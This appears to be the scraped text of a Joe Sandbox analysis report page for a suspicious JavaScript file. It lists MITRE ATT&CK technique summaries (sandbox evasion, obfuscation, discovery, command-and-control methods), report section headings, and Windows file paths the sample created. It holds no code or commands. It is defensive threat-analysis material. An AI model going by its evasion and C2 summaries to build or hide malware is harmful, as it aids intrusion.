Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 32600206981428831400.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f0fda893-2130-4e4a-9956-0bbab076902b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7912

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
32600206981428831400.js